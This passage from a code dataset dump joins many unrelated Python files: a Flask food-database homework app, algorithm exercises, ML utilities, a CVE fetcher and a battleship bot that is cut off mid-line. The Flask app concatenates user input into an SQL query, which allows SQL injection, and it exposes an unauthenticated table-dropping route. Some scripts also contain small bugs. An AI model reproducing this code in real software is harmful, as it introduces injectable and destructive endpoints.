Flask(__name__)\n\n@app.route('/')\ndef home():\n return render_template('home.html')\n\n@app.route('/enternew')\ndef new_food():\n return render_template('food.html')\n\n@app.route('/addfood', methods = ['POST'])\ndef addfood():\n #initialize the connection and cursor\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n\n #prep the values that will be inserted\n name = request.form['name']\n calories = request.form['calories']\n cuisine = request.form['cuisine']\n isVegetarian = request.form['is_vegetarian']\n isGlutenFree = request.form['is_gluten_free']\n\n try:\n #insert the new food item\n cursor.execute('INSERT INTO foods(name, calories, cuisine, is_vegetarian, is_gluten_free) VALUES (?, ?, ?, ?, ?)', (name, calories, cuisine, isVegetarian, isGlutenFree))\n connection.commit()\n message = 'Record successfully added'\n except:\n message = 'Error on insert operation'\n conection.rollback()\n finally:\n #display the insert result\n return render_template('result.html', message = message)\n connection.close()\n\n@app.route('/list')\ndef list():\n connection = sqlite3.connect('database.db')\n connection.row_factory = sqlite3.Row\n cursor = connection.cursor()\n\n cursor.execute('SELECT * from foods')\n\n rows = cursor.fetchall()\n connection.close()\n return render_template('list.html', rows = rows)\n\n@app.route('/favorite')\ndef favorite():\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n\n cursor.execute('SELECT * FROM foods WHERE name = \\'steak\\'')\n favoriteFood = cursor.fetchall()[0]\n connection.close();\n return jsonify(favoriteFood);\n\n@app.route('/search')\ndef search():\n name = request.args.get('name')\n dbQuery = 'SELECT * FROM foods WHERE name = \"' + name + '\"'\n connection = sqlite3.connect('database.db')\n\n cursor = connection.cursor()\n cursor.execute(dbQuery)\n\n favoriteFood = cursor.fetchall()\n connection.close();\n\n return jsonify(favoriteFood);\n\n@app.route('/drop')\ndef drop():\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n cursor.execute('DROP TABLE foods')\n connection.commit()\n connection.close()\n return 'dropped'\n\n\nif __name__ == '__main__':\n app.run(debug = True)\n","sub_path":"python-minicamp-homework-3/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"513849893","text":"import sys\r\ndef cubes():\r\n arr=[]\r\n for i in range(1,10000):\r\n arr.append(i**3)\r\n return arr\r\n\r\ncount=0\r\ncc=cubes()\r\nfor i in cc:\r\n cbe=str(i)\r\n cbe=sorted(list(cbe))\r\n l=[]\r\n for m in cc:\r\n cpr=str(m)\r\n cpr=sorted(list(cpr))\r\n if cpr==cbe:\r\n l.append(m)\r\n if len(l)==5:\r\n print (l)\r\n print (\"\\n\")\r\n break\r\n else:\r\n continue\r\n \r\n","sub_path":"prob 62.py","file_name":"prob 62.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"463743027","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/1/31 23:35\n# @Author : stone\n# @Email : dangj@dqist.com\n# @File : while+if.py\n# @Software: PyCharm\n\n\n\n'''\n只能猜3次\n对了提示\n错了提示\n'''\ndj_age = 28\n\ncount = 0\nwhile count <3:\n guess_age = int(input(\"dj_age:\"))\n\n if guess_age == dj_age:\n print(\"yes ,you got it \")\n break\n elif guess_age > dj_age:\n print(\"think smaller\")\n\n elif guess_age < dj_age:\n print(\"think big\")\n count +=1\nelse:\n print(\"you have too time ,fuck off\")\n\n\n\n","sub_path":"day1/while+if.py","file_name":"while+if.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"299747075","text":"# Compute LCA when Nodes have Parent Pointers\n\n# O(h) time | O(1) space\ndef lca(node0: BinaryTreeNode,\n node1: BinaryTreeNode) -> Optional[BinaryTreeNode]:\n def get_depth(node):\n depth = 0\n while node.parent:\n depth += 1\n node = node.parent\n return depth\n\n depth0, depth1 = map(get_depth, (node0, node1))\n # Makes node0 as the deeper node in order to simplify the code.\n if depth1 > depth0:\n node0, node1 = node1, node0\n\n # Ascends from the deeper node.\n depth_diff = abs(depth0 - depth1)\n while depth_diff:\n node0 = node0.parent\n depth_diff -= 1\n\n # Now ascends both nodes until we reach the LCA.\n while node0 is not node1:\n node0, node1 = node0.parent, node1.parent\n return node0\n","sub_path":"1. Problems/f. Trees/0. Template/a. Binary Tree - LCA with Parent Pointer.py","file_name":"a. Binary Tree - LCA with Parent Pointer.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"65050229","text":"from trafficSimulator import *\n\n# Create simulation\nsim = Simulation()\n\n# Add multiple roads\nsim.create_roads([\n ((0, 100), (140, 100)),\n ((150, 110), (150, 200)),\n\n *curve_road((140, 100), (150, 110), (150, 100))\n])\n\nsim.create_gen({\n 'vehicle_rate': 20,\n 'vehicles': [\n [1, {\"path\": [0, *range(2, 17), 1]}]\n ]\n})\n\n\n# Start simulation\nwin = Window(sim)\nwin.offset = (-150, -110)\nwin.run(steps_per_update=5)","sub_path":"src/tests/test_3.py","file_name":"test_3.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"252469219","text":"import copy\n\nimport MNN\nimport numpy as np\nimport torch\n\nF = MNN.expr\n\n\ndef read_mnn_as_tensor_dict(mnn_file_path):\n var_map = F.load_as_dict(mnn_file_path)\n input_dicts, output_dicts = F.get_inputs_and_outputs(var_map)\n input_names = [n for n in input_dicts.keys()]\n output_names = [n for n in output_dicts.keys()]\n input_vars = [input_dicts[n] for n in input_names]\n output_vars = [output_dicts[n] for n in output_names]\n module = MNN.nn.load_module(input_vars, output_vars, False)\n\n tensor_params_tensor_dict = {}\n for idx_layer in range(len(module.parameters)):\n module.parameters[idx_layer].fix_as_const()\n mnn_layer_weights_np_arr = copy.deepcopy(module.parameters[idx_layer].read())\n tensor_params_tensor_dict[idx_layer] = torch.from_numpy(\n mnn_layer_weights_np_arr\n ).detach()\n\n return tensor_params_tensor_dict\n\n\ndef write_tensor_dict_to_mnn(mnn_file_path, tensor_params_tensor_dict):\n var_map = F.load_as_dict(mnn_file_path)\n input_dicts, output_dicts = F.get_inputs_and_outputs(var_map)\n input_names = [n for n in input_dicts.keys()]\n output_names = [n for n in output_dicts.keys()]\n input_vars = [input_dicts[n] for n in input_names]\n output_vars = [output_dicts[n] for n in output_names]\n module = MNN.nn.load_module(input_vars, output_vars, False)\n input_shape = F.shape(input_vars[0])\n\n mnn_params_list = []\n for idx_layer in range(len(tensor_params_tensor_dict)):\n pt_layer_weights_np_arr = tensor_params_tensor_dict[idx_layer].numpy()\n tmp = F.const(pt_layer_weights_np_arr, list(pt_layer_weights_np_arr.shape))\n tmp.fix_as_trainable()\n mnn_params_list.append(tmp)\n\n module.load_parameters(mnn_params_list)\n predict = module.forward(F.placeholder(input_shape.read(), F.NCHW))\n F.save([predict], mnn_file_path)\n\n\ndef transform_list_to_tensor(model_params_list, enable_cuda_rpc):\n if enable_cuda_rpc:\n return model_params_list\n for k in model_params_list.keys():\n model_params_list[k] = torch.from_numpy(\n np.asarray(model_params_list[k])\n ).float()\n return model_params_list\n\n\ndef transform_tensor_to_list(model_params, enable_cuda_rpc):\n if enable_cuda_rpc:\n return model_params\n for k in model_params.keys():\n model_params[k] = model_params[k].detach().numpy().tolist()\n return model_params\n","sub_path":"python/tests/mnn_mobile/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"357188584","text":"import pandas as pd\nimport numpy as np\nimport math as m\nfrom datetime import datetime\nimport time\nimport numpy as np\nfrom sklearn.cluster import KMeans\nimport matplotlib.pyplot as plt\nfrom haversine import haversine\nfrom sklearn.model_selection import train_test_split\nfrom datetime import datetime\n\n# TraiTement des données\n\nstart_time = time.time()\n\n#lecure fichier\n#df = pd.read_csv('train.csv')\n\n#df = pd.read_csv(\"../input/traindata/train.csv\")\ndf = pd.read_csv(\"C:\\\\Fast acces\\\\train.csv\")\n\n\n#declaration des variables\n\ndistance=[]\ntemps=[]\ngeo4pickup=[]\ngeo4dropoff=[]\ngeo=[]\ni=0\nhaver=[]\ndayOfMonth=[]\ndayOfWeek=[]\nhour=[]\n\n#filtrage des données problématique (coordonnées et temps de trajet)\n\ndf = df.drop(df[df.pickup_latitude < 40.1].index)\ndf = df.drop(df[df.pickup_latitude > 41.4].index)\ndf = df.drop(df[df.pickup_longitude >-73].index)\ndf = df.drop(df[df.pickup_longitude < -86].index)\n\ndf = df.drop(df[df.dropoff_latitude < 39].index)\ndf = df.drop(df[df.dropoff_latitude > 42].index)\ndf = df.drop(df[df.dropoff_longitude >-30].index)\ndf = df.drop(df[df.dropoff_longitude < -75].index)\n\ndf = df.drop(df[df.trip_duration < 45].index)\ndf = df.drop(df[df.trip_duration > 30000].index)\n\n#iteration sur chaque ligne de la dataframe\n\nfor index, row in df.iterrows():\n datetime_pick = datetime.strptime(row[\"pickup_datetime\"], '%Y-%m-%d %H:%M:%S') #conversion des date en format exploitable\n datetime_drop = datetime.strptime(row[\"dropoff_datetime\"], '%Y-%m-%d %H:%M:%S')\n delta = datetime_drop - datetime_pick\n deltaInS = delta.total_seconds()\n trip_duration = row[\"trip_duration\"] \n if(deltaInS != trip_duration): #Vérification que le temps de trajet correspond entre la colonne temps de trajet et la difference entre les heure de depot et prise en charge\n df.drop(index, inplace=True)\n\n else: #traitement des données\n haver.append(haversine((row[\"pickup_longitude\"],row[\"pickup_latitude\"]),(row[\"dropoff_longitude\"],row[\"dropoff_latitude\"]))) #calcul de la distance Haversine\n dayOfWeek.append(datetime_pick.weekday())\n hour.append(datetime_pick.hour)\n dayOfMonth.append(datetime_pick.day)\n\n # ajout de nom de chaque cluster de geohash dans une nouvelle dataframe mdf\n\ncoordspick=df.filter([\"pickup_longitude\",\"pickup_latitude\"])\ncoordsdrop=df.filter([\"dropoff_longitude\",\"dropoff_latitude\"])\n\n\n\n\nKpick = KMeans(init='k-means++',n_clusters=12)\nKdrop = KMeans(init='k-means++', n_clusters=14)\n\nkmpick= Kpick.fit(coordspick) #obtention du groupe de chaque point de l'array des coordoné en Pickup et Dropoff\nkmdrop = Kdrop.fit(coordsdrop)\nclusterPick=kmpick.labels_\nclusterDrop=kmdrop.labels_ \n\nmdf=df.assign(ClusterPickup=clusterPick) #ajout de toutes les nouvelle données obtenue dans une DataFrame nommé mdf\nmdf[\"ClusterDropoff\"]=clusterDrop\nmdf['DayOfWeek']=dayOfWeek\nmdf['Hour']=hour\nmdf['DayOfMonth']=dayOfMonth\nmdf[\"Haversine\"]=haver\n\nmdf = mdf.drop(columns=[\"id\",'store_and_fwd_flag','pickup_datetime',\"dropoff_datetime\",\"passenger_count\"])\n\n\n\n\n\nsdf = pd.read_csv(\"C:\\\\Fast acces\\\\test.csv\")\nsdf.head()\n#declaration des variables\n\nhaver_sub=[]\ndayOfMonth_sub=[]\ndayOfWeek_sub=[]\nhour_sub=[]\n\n#iteration sur chaque ligne de la dataframe\n\nfor index, row in sdf.iterrows():\n datetime_pick_sub = datetime.strptime(row[\"pickup_datetime\"], '%Y-%m-%d %H:%M:%S') #conversion des date en format exploitable\n haver_sub.append(haversine((row[\"pickup_longitude\"],row[\"pickup_latitude\"]),(row[\"dropoff_longitude\"],row[\"dropoff_latitude\"]))) #calcul de la distance Haversine\n dayOfWeek_sub.append(datetime_pick.weekday())\n hour_sub.append(datetime_pick.hour)\n dayOfMonth_sub.append(datetime_pick.day)\n\n\ncoordspick_sub=sdf.filter([\"pickup_longitude\",\"pickup_latitude\"])\ncoordsdrop_sub=sdf.filter([\"dropoff_longitude\",\"dropoff_latitude\"])\n \nkmpick_sub= Kpick.fit(coordspick_sub)\nkmdrop_sub = Kdrop.fit(coordsdrop_sub)\nclusterPick_sub=kmpick_sub.labels_\nclusterDrop_sub=kmdrop_sub.labels_ \n\n\nsdf[\"ClusterPickup\"]=clusterPick_sub\nsdf[\"ClusterDropoff\"]=clusterDrop_sub\nsdf['DayOfWeek']=dayOfWeek_sub\nsdf['Hour']=hour_sub\nsdf['DayOfMonth']=dayOfMonth_sub\nsdf[\"Haversine\"]=haver_sub\n\n#sdf.head()\n#id=sdf[\"id\"]\n#sdf=sdf.drop(columns=[\"id\",'store_and_fwd_flag','pickup_datetime',\"passenger_count\"])\n#sdf.head()\n#sub_preds = model.predict(sdf)\n\n\nsdf=sdf.drop(columns=[\"id\",'store_and_fwd_flag','pickup_datetime',\"passenger_count\"])\n\n\nmdf.to_csv(\"process_Train.csv\" ,index = False)\n\nsdf.to_csv(\"process_Test.csv\", index = False)","sub_path":"Processing.py","file_name":"Processing.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"569275751","text":"#!/usr/bin/python3\n\"\"\" text_indentation returns \"text\" in the specified format:\n2 newlines after each ['.', '?', ':']\n\"\"\"\n\n\ndef text_indentation(text):\n \"\"\" prints \"text\" with 2 newlines after each of these char: ['.', '?', ':']\n checks if \"text\" is a str\n first loop removes spaces after each required chars\n second loop adds 2 newlines after each required chars\n \"\"\"\n if type(text) != str:\n raise TypeError(\"text must be a string\")\n toCatAfter = ['.', '?', ':']\n\n # Removes the space after special chars\n idx = 0\n for items in text:\n if items in toCatAfter:\n if text[idx + 1] == \" \":\n text = text[:idx + 1] + text[idx + 2:]\n else:\n idx += 1\n\n # Cats '\\n\\n' after the special char with removed space\n idx = 0\n for items in text:\n if items in toCatAfter:\n text = text[:idx + 1] + '\\n\\n' + text[idx + 1:]\n idx += 3\n else:\n idx += 1\n\n print(text, end='')\n","sub_path":"0x07-python-test_driven_development/5-text_indentation.py","file_name":"5-text_indentation.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"503439354","text":"import torch\nfrom functools import partial\n\n\nclass OctConv(torch.nn.Module):\n \"\"\"\n This module implements the OctConv paper https://arxiv.org/pdf/1904.05049v1.pdf\n \"\"\"\n def __init__(self, in_channels, out_channels, kernel_size, stride=1, alpha=0.5):\n super(OctConv, self).__init__()\n self.kernel_size = kernel_size\n self.L2L = torch.nn.Conv2d(int(alpha * in_channels), int(alpha * out_channels),\n kernel_size, stride, kernel_size//2)\n self.L2H = torch.nn.Conv2d(int(alpha * in_channels), out_channels - int(alpha * out_channels),\n kernel_size, stride, kernel_size//2)\n self.H2L = torch.nn.Conv2d(in_channels - int(alpha * in_channels), int(alpha * out_channels),\n kernel_size, stride, kernel_size//2)\n self.H2H = torch.nn.Conv2d(in_channels - int(alpha * in_channels),\n out_channels - int(alpha * out_channels),\n kernel_size, stride, kernel_size//2)\n self.upsample = torch.nn.Upsample(scale_factor=2, mode='nearest')\n self.avg_pool = partial(torch.nn.functional.avg_pool2d, kernel_size=kernel_size, stride=kernel_size)\n\n def forward(self, x):\n hf, lf = x\n return self.H2H(hf) + self.upsample(self.L2H(lf)), self.L2L(lf) + self.avg_pool(self.H2L(hf))\n\n","sub_path":"octconv.py","file_name":"octconv.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"481064731","text":"#!/usr/bin/env python3\n\"\"\"\nDefines function that answers questions from multiple reference texts on loop\n\"\"\"\n\n\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport tensorflow_hub as hub\nfrom transformers import BertTokenizer\n\n\ndef question_answer(corpus_path):\n \"\"\"\n Answers questions from multiple reference texts\n\n parameters:\n corpus_path [string]:\n the path to the corpus of reference documents\n \"\"\"\n while (1):\n user_input = input(\"Q: \")\n user_input = user_input.lower()\n if user_input == 'exit' or user_input == 'quit' \\\n or user_input == 'goodbye' or user_input == 'bye':\n print(\"A: Goodbye\")\n break\n reference = semantic_search(corpus_path, user_input)\n answer = specific_question_answer(user_input, reference)\n if answer is None:\n print(\"A: Sorry, I do not understand your question.\")\n else:\n print(\"A: \", answer)\n\n\ndef semantic_search(corpus_path, sentence):\n \"\"\"\n Performs semantic search on a corpus of documents\n\n parameters:\n corpus_path [string]:\n the path to the corpus of reference documents on which\n to perform semantic search\n sentence [string]:\n the sentence from which to perform semantic search\n\n returns:\n [string]:\n the reference text of the document most similar to given sentence\n \"\"\"\n documents = [sentence]\n\n for filename in os.listdir(corpus_path):\n if filename.endswith(\".md\") is False:\n continue\n with open(corpus_path + \"/\" + filename, \"r\", encoding=\"utf-8\") as f:\n documents.append(f.read())\n\n model = hub.load(\n \"https://tfhub.dev/google/universal-sentence-encoder-large/5\")\n\n embeddings = model(documents)\n correlation = np.inner(embeddings, embeddings)\n closest = np.argmax(correlation[0, 1:])\n similar = documents[closest + 1]\n\n return similar\n\n\ndef specific_question_answer(question, reference):\n \"\"\"\n Finds a snippet of text within a reference document to answer a question\n\n parameters:\n question [string]:\n contains the question to answer\n reference [string]:\n contains the reference document from which to find the answer\n\n returns:\n [string]:\n contains the answer\n or None if no answer is found\n \"\"\"\n tokenizer = BertTokenizer.from_pretrained(\n 'bert-large-uncased-whole-word-masking-finetuned-squad')\n model = hub.load(\"https://tfhub.dev/see--/bert-uncased-tf2-qa/1\")\n\n quest_tokens = tokenizer.tokenize(question)\n refer_tokens = tokenizer.tokenize(reference)\n\n tokens = ['[CLS]'] + quest_tokens + ['[SEP]'] + refer_tokens + ['[SEP]']\n\n input_word_ids = tokenizer.convert_tokens_to_ids(tokens)\n input_mask = [1] * len(input_word_ids)\n input_type_ids = [0] * (\n 1 + len(quest_tokens) + 1) + [1] * (len(refer_tokens) + 1)\n\n input_word_ids, input_mask, input_type_ids = map(\n lambda t: tf.expand_dims(\n tf.convert_to_tensor(t, dtype=tf.int32), 0),\n (input_word_ids, input_mask, input_type_ids))\n\n outputs = model([input_word_ids, input_mask, input_type_ids])\n\n short_start = tf.argmax(outputs[0][0][1:]) + 1\n short_end = tf.argmax(outputs[1][0][1:]) + 1\n answer_tokens = tokens[short_start: short_end + 1]\n answer = tokenizer.convert_tokens_to_string(answer_tokens)\n\n if answer is None or answer is \"\" or question in answer:\n return None\n\n return answer\n","sub_path":"supervised_learning/0x13-qa_bot/4-qa.py","file_name":"4-qa.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"150615947","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 6 00:21:30 2020\n\n@author: PetersMacBook\n\"\"\"\n\n\nfrom random import randint\nfrom string import ascii_uppercase as caps\n\nclass Grid:\n def __init__(self, node_list, num):\n keys = [node_list[i] for i in range(num)]\n dicts = {}\n \n for i in keys:\n dicts[i] = {\"adj\": [], \"dist\": []} \n \n self.dict = dicts\n \n def __repr__(self):\n rep = \"\"\n \n for key in self.dict:\n rep += f\"\\n{key}: {self.dict[key]}\"\n \n return rep\n \n def edge(self, node1, node2, distance = None):\n \"\"\" \n specify a connection between two nodes, and their distance if desired - \n if distance not input will be randomly assigned an integer value \n \"\"\"\n if distance == None:\n distance = randint(0, 9)\n \n d = self.dict\n \n if node1 in d and node2 in d and node1 != node2: \n d[node1]['adj'].append(node2)\n d[node1]['dist'].append(distance)\n \n d[node2]['adj'].append(node1)\n d[node2]['dist'].append(distance)\n else:\n raise KeyError(\"Input names of two different existing nodes\")\n \n def fill(self):\n \"\"\" auto-fills all remaining possible connections betweeen nodes \"\"\"\n nodes = self.nodes()\n d = self.dict\n \n for node1 in nodes:\n for node2 in nodes:\n if node2 not in d[node1]['adj'] and node1 != node2:\n self.edge(node1, node2)\n\n def nodes(self):\n \"\"\" return list of all nodes within Grid class \"\"\"\n node_list = []\n \n for key in self.dict.keys():\n node_list.append(key) \n \n return node_list\n \n def size(self):\n \"\"\" return size of Grid class \"\"\"\n return len(self.dict) \n \n def adj(self, node):\n \"\"\" return all adjacencies of an inputted node \"\"\"\n return self.dict[node]['adj']\n \n def dist(self, node):\n \"\"\" return all distances from an inputted node \"\"\"\n return self.dict[node]['dist']\n \n \n \nif __name__ == \"__main__\": \n g = Grid(caps, 5)\n g.edge('A', 'B', 3)\n g.edge('A', 'C', 7)\n g.edge('A', 'E', 2)\n g.edge('B', 'C', 5)\n g.edge('B', 'D', 9)\n g.edge('B', 'E', 8)\n print(g)\n\n","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"569401930","text":"\"\"\"\nProblem Statement #\nGiven a binary tree, populate an array to represent its level-by-level traversal in reverse order, i.e., the lowest level comes first. You should populate the values of all nodes in each level from left to right in separate sub-arrays.\n\"\"\"\n\nfrom collections import deque\n\ndef traverse(root):\n ans = deque()\n q = deque()\n q.append(root)\n while q:\n level_size = len(q)\n curr_level = []\n for _ in range(level_size):\n curr = q.popleft()\n curr_level.append(curr.val)\n if curr.left is not None:\n q.append(curr.left)\n if curr.right is not None:\n q.append(curr.right)\n\n ans.appendleft(curr_level)\n\n return list(ans)\n","sub_path":"grokking/tree_bfs/reverse_level_order_traversal/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"238814163","text":"\n\ndef move(file_data, dir, file_name):\n path_archivo_nuevo = dir + file_name\n archivo = open(path_archivo_nuevo, \"wb\")\n for f in file_data:\n archivo.write(f)\n archivo.close()\n\n\ndef dividir_lista_en_partes(list, cantidad_partes):\n nueva_list = []\n N = len(list)\n for i in range(0, N, cantidad_partes):\n count = 0\n tmp_list = []\n\n while count < cantidad_partes and count + i < N:\n tmp_list.append(list[count + i])\n count += 1\n\n nueva_list.append(tmp_list)\n\n return nueva_list\n\n\ndef add_error_session(request, error_msg):\n if request.session.get('error_list', -1) == -1:\n request.session['error_list'] = []\n\n request.session['error_list'].append(error_msg)","sub_path":"Utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"639560739","text":"import logging\nimport gzip\nimport time\nimport xml.dom.minidom\nfrom urllib.request import urlopen, Request\n\nfrom django.conf import settings\n\nimport redis\n\nfrom device_registry.models import DebPackage, Vulnerability\n\nlogger = logging.getLogger('django')\n\n\ndef fetch_vulnerabilities():\n \"\"\"\n Downloads and parses a list of Amazon Linux vulnerabilities from Amazon repo.\n :return: the number of Vulnerability objects stored in the database.\n \"\"\"\n logger.info('started.')\n vulnerabilities = {}\n mirror_url = 'https://cdn.amazonlinux.com/2/core/latest/x86_64/mirror.list'\n response = urlopen(Request(mirror_url))\n mirror_list = response.read()\n # At the moment there's only one mirror in this list, so no use looping over it.\n mirror = mirror_list.decode().splitlines()[0]\n url = mirror + '/repodata/updateinfo.xml.gz'\n logger.info('fetching data...')\n response = urlopen(Request(url))\n compressed_data = response.read()\n data = gzip.decompress(compressed_data).decode()\n xmldoc = xml.dom.minidom.parseString(data)\n logger.info('parsing data...')\n for update in xmldoc.getElementsByTagName('update'):\n severity = update.getElementsByTagName('severity')[0].firstChild.data\n alas = update.getElementsByTagName('id')[0].firstChild.data\n for ref in update.getElementsByTagName('reference'):\n for pkg in update.getElementsByTagName('package'):\n cve = ref.getAttribute('id')\n pkg_name = pkg.getAttribute('name')\n pkg_epoch = pkg.getAttribute('epoch')\n pkg_version = pkg.getAttribute('version')\n pkg_release = pkg.getAttribute('release')\n pkg_severity = {'low': Vulnerability.Urgency.LOW,\n 'medium': Vulnerability.Urgency.MEDIUM,\n 'important': Vulnerability.Urgency.HIGH,\n 'critical': Vulnerability.Urgency.HIGH}[severity]\n full_version = f'{pkg_epoch}:{pkg_version}-{pkg_release}'\n print((cve, severity, pkg_name, pkg_epoch, pkg_version, pkg_release))\n key = (cve, pkg_name)\n if key in vulnerabilities:\n v = vulnerabilities[key]\n # Every ALAS-xxx has its own severity and references one or more CVEs. Several ALAS-xxx with\n # different severities may reference the same CVEs (in which case just one CVE with maximum\n # severity is added) or the same package(s) (in which case latest package version is chosen as\n # \"fixed version\").\n if v.urgency < pkg_severity:\n v.urgency = pkg_severity\n if Vulnerability.RpmVersion(v.unstable_version) < Vulnerability.RpmVersion(full_version):\n logger.info(f'{alas} {pkg_name}: {v.unstable_version} < {full_version}')\n v.unstable_version = full_version\n else:\n vulnerabilities[key] = Vulnerability(\n name=cve,\n package=pkg_name,\n unstable_version=full_version,\n other_versions=[],\n is_binary=False,\n urgency=pkg_severity,\n fix_available=True,\n os_release_codename='amzn2'\n )\n logger.info('saving data...')\n redis_conn = redis.Redis(host=settings.REDIS_HOST, port=settings.REDIS_PORT, password=settings.REDIS_PASSWORD)\n with redis_conn.lock('vulns_lock', timeout=60 * 15, blocking_timeout=60 * 5):\n logger.info('lock acquired.')\n time.sleep(60 * 3) # Sleep 3m to allow all running `update_packages_vulnerabilities` tasks finish.\n logger.info('sleep ended.')\n Vulnerability.objects.filter(os_release_codename='amzn2').delete()\n Vulnerability.objects.bulk_create(vulnerabilities.values())\n DebPackage.objects.filter(os_release_codename='amzn2').update(processed=False)\n logger.info('finished.')\n return len(vulnerabilities)","sub_path":"backend/device_registry/celery_tasks/amazon_cve.py","file_name":"amazon_cve.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"541548193","text":"import pandas as pd\n\n\ndef extractLabelSubset():\n b = {}\n b[1] = []\n b[2] = []\n with open('csv/train.csv', 'r') as fh:\n for line in fh.readlines():\n line = line.replace(',', ' ').replace(\"\\n\", '').split(' ')\n b_id = int(line[0])\n cats = [int(cat) for cat in line[1:] if len(cat) > 0]\n if 1 in cats:\n b[1].append(b_id)\n if 2 in cats:\n b[2].append(b_id)\n for index in b:\n b[index] = b[index][:20]\n b_ids = []\n for index in b:\n for b_id in b[index]:\n if b_id not in b_ids:\n b_ids.append(b_id)\n\n with open('data_subset/train.csv', 'w') as fh:\n for id in b_ids:\n fh.write(str(id) + ',')\n ids = []\n for index in b:\n if id in b[index]:\n ids.append(str(index))\n fh.write(' '.join(ids) + \"\\n\")\n return b_ids\n\n\ndef extractPhotoToBizIds(b_ids):\n imgs = {}\n for set in ['test', 'train']:\n imgs[set] = []\n with open('data_subset/' + set + '_photo_to_biz_ids.csv', 'w') as fh_out:\n with open('csv/' + set + '_photo_to_biz_ids.csv', 'r') as fh:\n for line in fh.readlines():\n b_id, img_id = line.replace(\"\\n\", '').split(',')\n imgs[set].append(img_id)\n if int(b_id) in b_ids:\n fh_out.write(line)\n return imgs\n\n\ndef extractVectors(img_ids):\n for set in img_ids:\n for img_id in img_ids:\n with open('../../data/' + set + '_photos.csv', 'r') as fh:\n for line in fh.readlines():\n line = line.replace(\"\\n\", '')\n print(line)\n return\n\n\nb_ids = extractLabelSubset()\nimg_ids = extractPhotoToBizIds(b_ids)\nextractVectors(img_ids)","sub_path":"get_subset.py","file_name":"get_subset.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"466673352","text":"#!/usr/bin/env python3\nimport os\nimport math\nimport random\nimport numpy\nimport time\nimport socket\nimport itertools\n\n\"\"\"class remote_player():\"\"\"\n\t\n\nclass bot():\n\tdef __init__(self,board):\n\t\tself.board=board\n\t\tself.name=self.board.name\n\t\tself.destroyed_ships=[]\n\t\tself.ships=self.board.ships\n\t\tself.number_of_alive_ship={1:4,2:3,3:2,4:1}\n\t\tt=time.localtime()\n\t\tself.report=None\n\t\ttry:\n\t\t\tself.report=open(\"reports/{}:{}_{}-{}-{}_{}\".format(t[3],t[4],t[2],t[1],t[0],self.name),'w')\n\t\texcept IOError:\n\t\t\tpass\n\tdef __del__(self):\n\t\tif self.report:\n\t\t\tself.report.close()\n\tdef turn(self):\n\t\tos.system(\"clear\")\n\t\tprint(\"{} turn\\n\".format(self.name))\n\t\tself.board.hits.show_hits()\n\t\ttime.sleep(1)\n\t\tself.hit_generate()\n\t\tos.system(\"clear\")\n\t\tprint(\"{} turn\\n\".format(self.name))\n\t\tself.board.hits.show_hits()\n\t\ttime.sleep(2)\n\t\tos.system(\"clear\")\n\tdef enemy(self,enemy):\n\t\tself.board.hits=hits(enemy.ships)\n\t\tself.hits=self.board.hits.flap\n\tdef hit_generate(self):\n\t\tif self.board.hits.hit(list([dimension+2 for dimension in self.choose_move(self.check_chance())])):\n\t\t\tself.board.hits.check_ships()\n\t\t\tself.check_ships()\n\t\t\tself.hit_generate()\n\tdef choose_move(self,moves):\n\t\tfor i in range(len(moves)-1):\n\t\t\tif moves[i][0]!=moves[i+1][0]:\n\t\t\t\tmoves=moves[:i+1]\n\t\t\t\tbreak\n\t\tx=int((random.random()*(len(moves)-1))+0.5)\n\t\treturn list([moves[x][1],moves[x][2]])\n\tdef check_chance(self):\n\t\tchance=numpy.ones((10,10))\n\t\tfound_hits=self.find_hits()\n\t\tif numpy.all(found_hits==0):\n\t\t\tchance*=self.normalize(self.find_possibles())\n\t\telse:\n\t\t\tchance*=self.normalize(found_hits)\n\t\tself.clear_chances(chance)\n\t\treturn self.find_max(chance)\n\tdef find_hits(self):\n\t\thit_chance=numpy.zeros((10,10))\n\t\tfor cords in numpy.ndenumerate(hit_chance):\n\t\t\tcords=[dimension+2 for dimension in cords[0]]\n\t\t\tif self.hits[cords[0]][cords[1]]==\"X\":\n\t\t\t\t\tif 